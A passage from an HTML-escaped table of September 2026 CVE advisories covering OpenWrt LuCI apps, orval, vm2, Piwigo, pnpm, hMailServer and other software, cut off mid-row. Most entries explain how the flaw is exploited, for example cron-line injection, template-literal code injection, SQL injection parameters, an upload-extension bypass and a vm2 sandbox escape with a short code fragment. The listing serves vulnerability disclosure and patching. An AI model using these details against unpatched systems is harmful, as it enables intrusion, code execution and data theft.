&lt;td class=&quot;vendor-product&quot;&gt;openwrt--luci&lt;/td&gt;
&lt;td&gt;luci-app-advanced-reboot is a LuCI (web interface) application for OpenWrt that provides a way to reboot your router into an alternative firmware partition or perform reboot operations directly from the web UI. Prior to 1.1.2-6, the luci-app-advanced-reboot read ACL in applications/luci-app-advanced-reboot/root/usr/share/rpcd/acl.d/luci-app-advanced-reboot.json grants rpcd file.exec permission for the general shell interpreter /bin/sh. An authenticated delegated session with that read ACL can supply caller-controlled params; rpcd authorizes the executable path and passes those arguments to the shell, allowing arbitrary commands to execute as root. Builds without the /bin/sh exec grant, including the checked openwrt-24.10 and openwrt-23.05 branches, are not affected by this specific chain. This vulnerability is fixed in 1.1.2-6.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55897&quot; target=&quot;_blank&quot;&gt;CVE-2026-55897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openwrt--luci-app-adblock-fast&lt;/td&gt;
&lt;td&gt;luci-app-adblock-fast a WebUI for fast, lightweight DNS-based ad-blocker for OpenWrt that works with dnsmasq, smartdns, or unbound. Prior to 1.2.4-2, the luci.adblock-fast.setCronEntry RPC method accepts an entry argument containing carriage-return or line-feed characters and serializes it into /etc/crontabs/root as though it were one logical line. An authenticated delegated user with the luci-app-adblock-fast write ACL can therefore create an additional physical root cron entry through applications/luci-app-adblock-fast/root/usr/share/rpcd/ucode/luci.adblock-fast, resulting in persistent command execution as UID 0 when cron runs. The issue is not demonstrated for unauthenticated callers or users without the component write ACL. This vulnerability is fixed in 1.2.4-2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55159&quot; target=&quot;_blank&quot;&gt;CVE-2026-55159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orval-labs--orval&lt;/td&gt;
&lt;td&gt;orval versions before 8.29.0 contain a code injection vulnerability in the @orval/hono generator that fails to escape OpenAPI path values in single-quoted route literals. Attackers can craft an OpenAPI document with an apostrophe in a static path segment to inject arbitrary JavaScript code that executes when the generated TypeScript module is imported.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96754&quot; target=&quot;_blank&quot;&gt;CVE-2026-96754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orval-labs--orval&lt;/td&gt;
&lt;td&gt;orval versions 8.14.0 through 8.28.1 contain a code injection vulnerability in the @orval/effect generator that converts OpenAPI schema defaults into template literals. Attackers can inject arbitrary JavaScript expressions via schema defaults containing ${...} syntax, which are executed at module scope when the generated code is built or imported.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96755&quot; target=&quot;_blank&quot;&gt;CVE-2026-96755&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orval-labs--orval&lt;/td&gt;
&lt;td&gt;orval before 8.29.0 fails to escape OpenAPI media-type keys when emitting them into single-quoted Content-Type string literals in generated code. Attackers can inject JavaScript through crafted media-type keys in OpenAPI specifications that executes when generated fetch operations or mock resolvers are invoked.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96757&quot; target=&quot;_blank&quot;&gt;CVE-2026-96757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orval-labs--orval&lt;/td&gt;
&lt;td&gt;orval @orval/core before 8.28.0 contains a code injection vulnerability in the form-data serializer that fails to escape multipart property names in generated template literals. Attackers can inject ${...} expressions into OpenAPI schema property names that execute as live interpolation when the generated client builds FormData bodies with consumer process privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96758&quot; target=&quot;_blank&quot;&gt;CVE-2026-96758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orval-labs--orval&lt;/td&gt;
&lt;td&gt;orval before 8.29.0 fails to escape the operationId parameter when emitting it into generated TanStack Query mutator options metadata objects. Attackers can inject arbitrary JavaScript code through a crafted operationId in an OpenAPI specification that executes when generated hooks are called.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96759&quot; target=&quot;_blank&quot;&gt;CVE-2026-96759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orval-labs--orval&lt;/td&gt;
&lt;td&gt;orval versions before 8.30.0 contain a code injection vulnerability in the @orval/core factory generator that fails to escape date default values in new Date() calls. Attackers can inject arbitrary expressions through apostrophes in OpenAPI schema defaults to execute code with the privileges of the consumer process when factoryMethods and useDates options are enabled.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96756&quot; target=&quot;_blank&quot;&gt;CVE-2026-96756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;parse-community--parse-server&lt;/td&gt;
&lt;td&gt;Parse Server is an open source backend server. In versions prior to 8.6.90 and in versions from 9.0.0 prior to 9.10.1-alpha.9, the device token deduplication logic for installation records does not validate the type of client-supplied installation fields before using them to build database queries. An unauthenticated remote attacker who knows only the public application ID can submit non-string values in these fields to inject query operators, causing the deduplication cleanup - which runs with elevated privileges before class-level permissions are evaluated - to delete every device registration in the application or an attacker-chosen subset of them. No account, session token, master key, or user interaction is required. Deleted registrations cannot be recovered on the server, so push notifications cannot be delivered until every client re-registers. Any deployment that exposes the REST API to clients and uses push notifications is affected in its default configuration. Versions 8.6.90 and 9.10.1-alpha.9 fix the issue by rejecting non-string values with a client error and by scoping the deduplication cleanup to the calling application. No workaround other than upgrading is available.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100631&quot; target=&quot;_blank&quot;&gt;CVE-2026-100631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: &#039;host&#039;`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp(&#039;^&#039; + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100721&quot; target=&quot;_blank&quot;&gt;CVE-2026-100721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node&#039;s zlib module through NodeVM&#039;s builtin allowlist (require: { builtin: [&#039;zlib&#039;] }), zlib.deflateSync can return a Buffer backed by Node&#039;s shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100723&quot; target=&quot;_blank&quot;&gt;CVE-2026-100723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;paytiumsupport--Paytium: Mollie payment forms &amp;amp; donations&lt;/td&gt;
&lt;td&gt;The Paytium: Mollie payment forms &amp;amp; donations plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.0.3. The 5.0.3 patch introduced a wp_hash()/hash_equals() signature gate on the pt-paytium-user-data field, but left a second filter - pt_cf_checkout_meta(), registered on the pt_meta_values hook after the signed builder - that copies every $_POST[&#039;pt_form_field&#039;][*] key verbatim into the payment meta array without any signature verification; this allows the pt-user-role value it copies to overwrite the signed path&#039;s output, after which paytium_user_data_processing() reads the persisted _pt-user-role post meta and passes it directly as the role argument to wp_insert_user(). This makes it possible for unauthenticated attackers to register a new WordPress account with the administrator role and fully take over the site. Exploitation requires submitting a payment through a publicly-exposed [paytium] shortcode form and completing the resulting payment flow, after which the attacker can seize the new administrator account via the standard lost-password flow on their supplied email address.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18467&quot; target=&quot;_blank&quot;&gt;CVE-2026-18467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpointcloud--pointcloud&lt;/td&gt;
&lt;td&gt;pgPointcloud through 1.2.5 contains a heap out-of-bounds read vulnerability in dimensional patch WKB deserialization that allows authenticated database users to read adjacent heap memory. Attackers can supply crafted pcpatch values with attacker-controlled size fields to copy heap memory into stored patches for exfiltration or crash the PostgreSQL backend.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100387&quot; target=&quot;_blank&quot;&gt;CVE-2026-100387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Photoview--Photoview&lt;/td&gt;
&lt;td&gt;Photoview through 2.4.0 contains an SQL injection vulnerability in the album download route that allows unauthenticated attackers to inject SQL by manipulating the album_id path segment. Attackers can supply crafted SQL expressions in the album_id parameter to extract arbitrary data from the database using time-based or blind injection techniques.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96673&quot; target=&quot;_blank&quot;&gt;CVE-2026-96673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;photoview--photoview&lt;/td&gt;
&lt;td&gt;Photoview through 2.4.0 contains an authorization bypass vulnerability in the shareAlbum GraphQL mutation that allows authenticated users to create share links for albums owned by other users. Attackers can supply arbitrary album IDs to generate working share tokens for victim albums, exposing photos and sub-albums to anyone with the link while retaining indefinite control over token settings.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96271&quot; target=&quot;_blank&quot;&gt;CVE-2026-96271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;cleanup_xml_node() in the SOAP XML parser recurses once per XML nesting level with no depth limit. An unauthenticated attacker can post a SOAP request containing tens of thousands of nested elements to any SoapServer endpoint, exhaust the stack and crash the process. The same unbounded recursion exists in the SOAP value decoder and in the WSDL node search helper.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91765&quot; target=&quot;_blank&quot;&gt;CVE-2026-91765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;phpipam--phpIPAM&lt;/td&gt;
&lt;td&gt;phpIPAM through 1.8.3 has incorrect authorization for id==&quot;admins&quot; and id==&quot;all&quot; in api/controllers/User.php.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97818&quot; target=&quot;_blank&quot;&gt;CVE-2026-97818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Piwigo--Piwigo&lt;/td&gt;
&lt;td&gt;Piwigo is a full featured open source photo gallery application for the web. Prior to 16.4.0, admin/themes_standard_pages.php validates uploaded logo content by MIME type but reuses the attacker-controlled extension from std_pgs_logo when constructing the stored filename. An authenticated administrator can upload image content with a server-executable final extension, causing the file to be placed in the web-accessible logo directory and executed when requested if the web server handles that extension. This can permit arbitrary command execution, data disclosure, modification, persistence, and service disruption. This vulnerability is fixed in 16.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42322&quot; target=&quot;_blank&quot;&gt;CVE-2026-42322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Piwigo--Piwigo&lt;/td&gt;
&lt;td&gt;Piwigo is a full featured open source photo gallery application for the web. In 17.0.0beta1 and earlier, when rating is enabled, an unauthenticated guest can call pwg.images.filteredSearch.create with a crafted ratings[] value and then open the returned search URL. include/ws_functions/pwg.images.php stores the unvalidated value in the search rules, and include/functions_search.inc.php integer-casts only the lower rating bound while concatenating the raw value as the SQL upper bound. This allows error-based or blind extraction of database information and database-dependent time delays through the public search flow. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62262&quot; target=&quot;_blank&quot;&gt;CVE-2026-62262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Piwigo--Piwigo&lt;/td&gt;
&lt;td&gt;Piwigo is a full featured open source photo gallery application for the web. Prior to 16.4.0, check_upgrade_access_rights() in admin/include/functions_upgrade.php conditionally escapes the submitted username only when the removed get_magic_quotes_gpc function exists, so PHP 8 and later concatenate an unauthenticated username directly into the upgrade authentication SQL query. When database upgrades are pending, a crafted query result can satisfy the status and password checks, set PHPWG_IN_UPGRADE, and authorize upgrade execution without valid administrator credentials. This can cause unauthorized database integrity changes and service disruption. This vulnerability is fixed in 16.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44642&quot; target=&quot;_blank&quot;&gt;CVE-2026-44642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Piwigo--Piwigo&lt;/td&gt;
&lt;td&gt;Piwigo is a full featured open source photo gallery application for the web. Prior to 16.4.0, admin/batch_manager.php accepts administrator-controlled dimension width, height, and ratio values and filesize values from the Batch Manager filter URL without numeric validation. The URL filter parser stores those values in the bulk_manager_filter session state, and later query construction concatenates them into SQL predicates, unlike the validated POST filter path. An authenticated administrator can use crafted filter values to execute time-based or other SQL expressions and potentially disclose, modify, or disrupt database data. This issue is fixed in version 16.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42323&quot; target=&quot;_blank&quot;&gt;CVE-2026-42323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Piwigo--Piwigo&lt;/td&gt;
&lt;td&gt;Piwigo is a full featured open source photo gallery application for the web. Prior to 16.4.0, admin/element_set_ranks.php stores administrator-controlled image_order[] values without enforcing the existing sort-field whitelist. The stored album image_order expression is later concatenated into ORDER BY clauses by admin/batch_manager_global.php, admin/batch_manager_unit.php, include/section_init.inc.php, and include/ws_functions/pwg.categories.php. When at least one album contains at least one photo, an authenticated administrator can store a crafted expression and trigger it in a later album or Batch Manager query to disclose, modify, or disrupt database data. This issue is fixed in version 16.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42324&quot; target=&quot;_blank&quot;&gt;CVE-2026-42324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Piwigo--Piwigo&lt;/td&gt;
&lt;td&gt;Piwigo before v16.4.0 is vulnerable to arbitrary file read and remote code execution in image upload handling when using the Imagick library due to insufficient validation and unsafe processing of user-supplied image files. By abusing format confusion (e.g., disguising SVG content as PNG), an attacker can trigger unintended interpretation of embedded SVG elements that reference local files. In more advanced scenarios, the Imagick support for Magick Scripting Language (MSL) may be abused to process attacker-controlled instructions, potentially leading to unauthorized server-side file writes and remote code execution, depending on configuration. This has been patched in 16.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85750&quot; target=&quot;_blank&quot;&gt;CVE-2026-85750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;plank--laravel-mediable&lt;/td&gt;
&lt;td&gt;Laravel-Mediable 7.0.0 before 7.0.2 contains an incomplete patch for CVE-2026-49972 in which the .pht extension is absent from the forbidden_extensions blocklist in config/mediable.php. The blocklist introduced to address CVE-2026-49972 includes phpt but omits pht, which Apache executes as PHP via the default FilesMatch directive on Debian and Ubuntu systems. An attacker can upload a .pht file that passes all validation in MediaUploader::verifyExtension() and File::sanitizeFileName() because pht is not present in the blocklist, causing the file to be written to disk and executed as PHP when requested, enabling remote code execution with the privileges of the web server process.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93352&quot; target=&quot;_blank&quot;&gt;CVE-2026-93352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Plex--Media Server&lt;/td&gt;
&lt;td&gt;Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim to x264&#039;s option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96656&quot; target=&quot;_blank&quot;&gt;CVE-2026-96656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;plone--plone.app.portlets&lt;/td&gt;
&lt;td&gt;plone.app.portlets.portlets provides a Plone-specific user interface for plone.portlets, as well as a standard set of portlets that ship with Plone. Starting in version 5.0.0 and prior to versions 5.0.8, 6.0.4, and 7.0.2, the Classic portlet (plone.app.portlets.portlets.classic) used its user-supplied template/macro fields to build a TALES path expression that was then evaluated by the TAL path() helper. Because the value was interpreted as a full TALES expression, a user able to add or edit a Classic portlet could supply a crafted value that escapes simple path traversal and is evaluated as arbitrary code. This is exploitable by any authenticated user who can configure a Classic portlet - which, with the default role map, includes regular users on their personal dashboard. The result is code execution in the context of the Plone process, i.e. a privilege escalation across the trust boundary between an authenticated web user and the server-side process. The problem has been patched in `plone.app.portlets` 5.0.8, 6.0.4, and 7.0.2. Some workarounds are available. Restrict who can manage portlets: remove the `plone.app.portlets.ManageOwnPortlets` permission from untrusted roles, and limit Manage portlets to trusted administrators (usually this is already restricted to the Manager and Site Administrator roles). Where the Classic portlet is not needed, unregister it so it cannot be added. This would need to be done by editing a `portlets.xml` in your own code. One may also effectively disable showing the classic portlet by customising its template. In the Zope Management Interface go to the `portal_view_customizations` tool, locate the `classic.pt` template and click it. Click the Customize button. Remove all text and replace it with `&amp;lt;div&amp;gt;The classic portlet was disabled.&amp;lt;/div&amp;gt;`. (This is not a recommended way of customizing a template, but in this case it is quite effective.)&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57149&quot; target=&quot;_blank&quot;&gt;CVE-2026-57149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmTicket--Project-Management-Software&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in pmTicket Project-Management-Software up to 078fa56a782490c5059a0814f84df27984f4d7e2. This affects the function setSync of the file /ajax/add_project.php. Such manipulation of the argument conn_settings leads to sql injection. The attack may be launched remotely. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96751&quot; target=&quot;_blank&quot;&gt;CVE-2026-96751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pnpm--pnpm&lt;/td&gt;
&lt;td&gt;pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5 expand ${VAR} environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project&#039;s pnpm-workspace.yaml. Because the manifest is repository-controlled and the proxy keys were omitted from the request-destination key set that otherwise suppresses placeholder expansion for untrusted manifests (as already done for registry, pnprServer, registries and namedRegistries), an attacker who controls a repository&#039;s pnpm-workspace.yaml can cause a victim who clones the repository and runs a pnpm command (e.g. pnpm install) to expand environment secrets such as NPM_TOKEN or GITHUB_TOKEN into a proxy hostname or userinfo and route install traffic - and the corresponding DNS lookups - through an attacker-controlled host. The exfiltration occurs during configuration loading, before any lifecycle script executes. Fixed in pnpm 11.11.0 and 10.34.5.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101043&quot; target=&quot;_blank&quot;&gt;CVE-2026-101043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pnpm--pnpm&lt;/td&gt;
&lt;td&gt;pacquet, the Rust package-manager component shipped in the pnpm npm package versions &amp;gt;=12.0.0-alpha.0 and &amp;lt;12.0.0-alpha.5, does not validate dependency alias/name paths taken from a lockfile before using them in install-time filesystem joins. When a user installs a project with an attacker-supplied lockfile using --trust-lockfile or a frozen lockfile, alias entries containing path traversal segments (for example &#039;../../escaped-link&#039;) are used when creating dependency and package links, bin destinations, hoisted entries, and virtual-store slots, allowing symlinks and directories to be created outside the intended project and node_modules boundary. Version 12.0.0-alpha.5 validates dependency names and every virtual-store slot path with a shared safe-join containment helper before any filesystem materialization, rejecting traversal, absolute, platform-specific, and reserved names with ERR_PNPM_INVALID_DEPENDENCY_NAME.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101044&quot; target=&quot;_blank&quot;&gt;CVE-2026-101044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pollen Robotics--Reachy Mini&lt;/td&gt;
&lt;td&gt;The Reachy Mini daemon exposes an HTTP API for managing the robot. Its app installation endpoint, POST /apps/install in src/reachy_mini/daemon/app/routers/apps.py, has no authentication. The handler&#039;s only dependency is Depends(get_app_manager), which just hands back the manager object from application state, so nothing in the chain ever checks a credential. The endpoint takes an AppInfo body naming a Hugging Face Space. The daemon downloads that Space and installs it as a Python package through install_package in src/reachy_mini/apps/sources/local_common_venv.py, using uv or pip. Installing a Python package runs the package&#039;s own build and setup code, so whoever chooses the Space chooses what code the robot runs. Anyone can publish a public Hugging Face Space, so this is not a meaningful restriction on the attacker. How far this reaches depends on the model. In _resolve_bind_host in src/reachy_mini/daemon/app/main.py the daemon binds 0.0.0.0 when it runs as the wireless version and 127.0.0.1 otherwise, with the vendor&#039;s own comment explaining that the robot has to be reachable on the LAN. On a wireless unit, then, any host on the same network can install and run code on the robot without credentials. One related change has already shipped but does not fix this. Version 1.8.2 replaced the wildcard CORS policy with an allow list of localhost and Tauri origins. That closes the browser drive-by route, where a web page the victim visits silently calls the endpoint in the background. It has no effect on this issue: CORS is enforced by browsers and governs whether script may read a response, while a direct HTTP request from another machine on the network involves no browser, no preflight and no CORS check at all.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96455&quot; target=&quot;_blank&quot;&gt;CVE-2026-96455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Progressive Robot Ltd--hMailServer&lt;/td&gt;
&lt;td&gt;Eval injection in the JScript event-script dispatcher in Progressive Robot Ltd&#039;s hMailServer, versions 6.0.0 through 6.3.3 on Windows, allows a remote, unauthenticated attacker to run arbitrary JScript inside the hMailServer service process, with the privileges of the service account, via a password containing a backslash followed by an apostrophe, sent in any logon (SMTP AUTH, POP3, IMAP) that names an existing, active account. Exploitation requires a non-default configuration: event scripting enabled (off by default), the script language set to JScript (the default is VBScript), and an OnClientValidatePassword handler defined in the event script. The server wrote event values into the handler call as JScript string literals, escaping the apostrophe but not the backslash, so such a value closes the literal and the rest of it is parsed as script. The same flaw is reachable by a remote POP3 server through the message UID it returns, where an OnExternalAccountDownload handler is defined, and by a remote SMTP server through the error reply it rejects a delivery with, where an OnDeliveryFailed handler is defined. Before 6.2.25 the injected script can create any COM object, and from 6.2.25 it can with the default ScriptAllowedObjects value of &#039;*&#039;; WScript.Shell among them gives command execution as the service account. VBScript event scripts and the Linux builds of Progressive Robot Ltd&#039;s hMailServer are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100741&quot; target=&quot;_blank&quot;&gt;CVE-2026-100741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Project-MONAI--MONAI&lt;/td&gt;
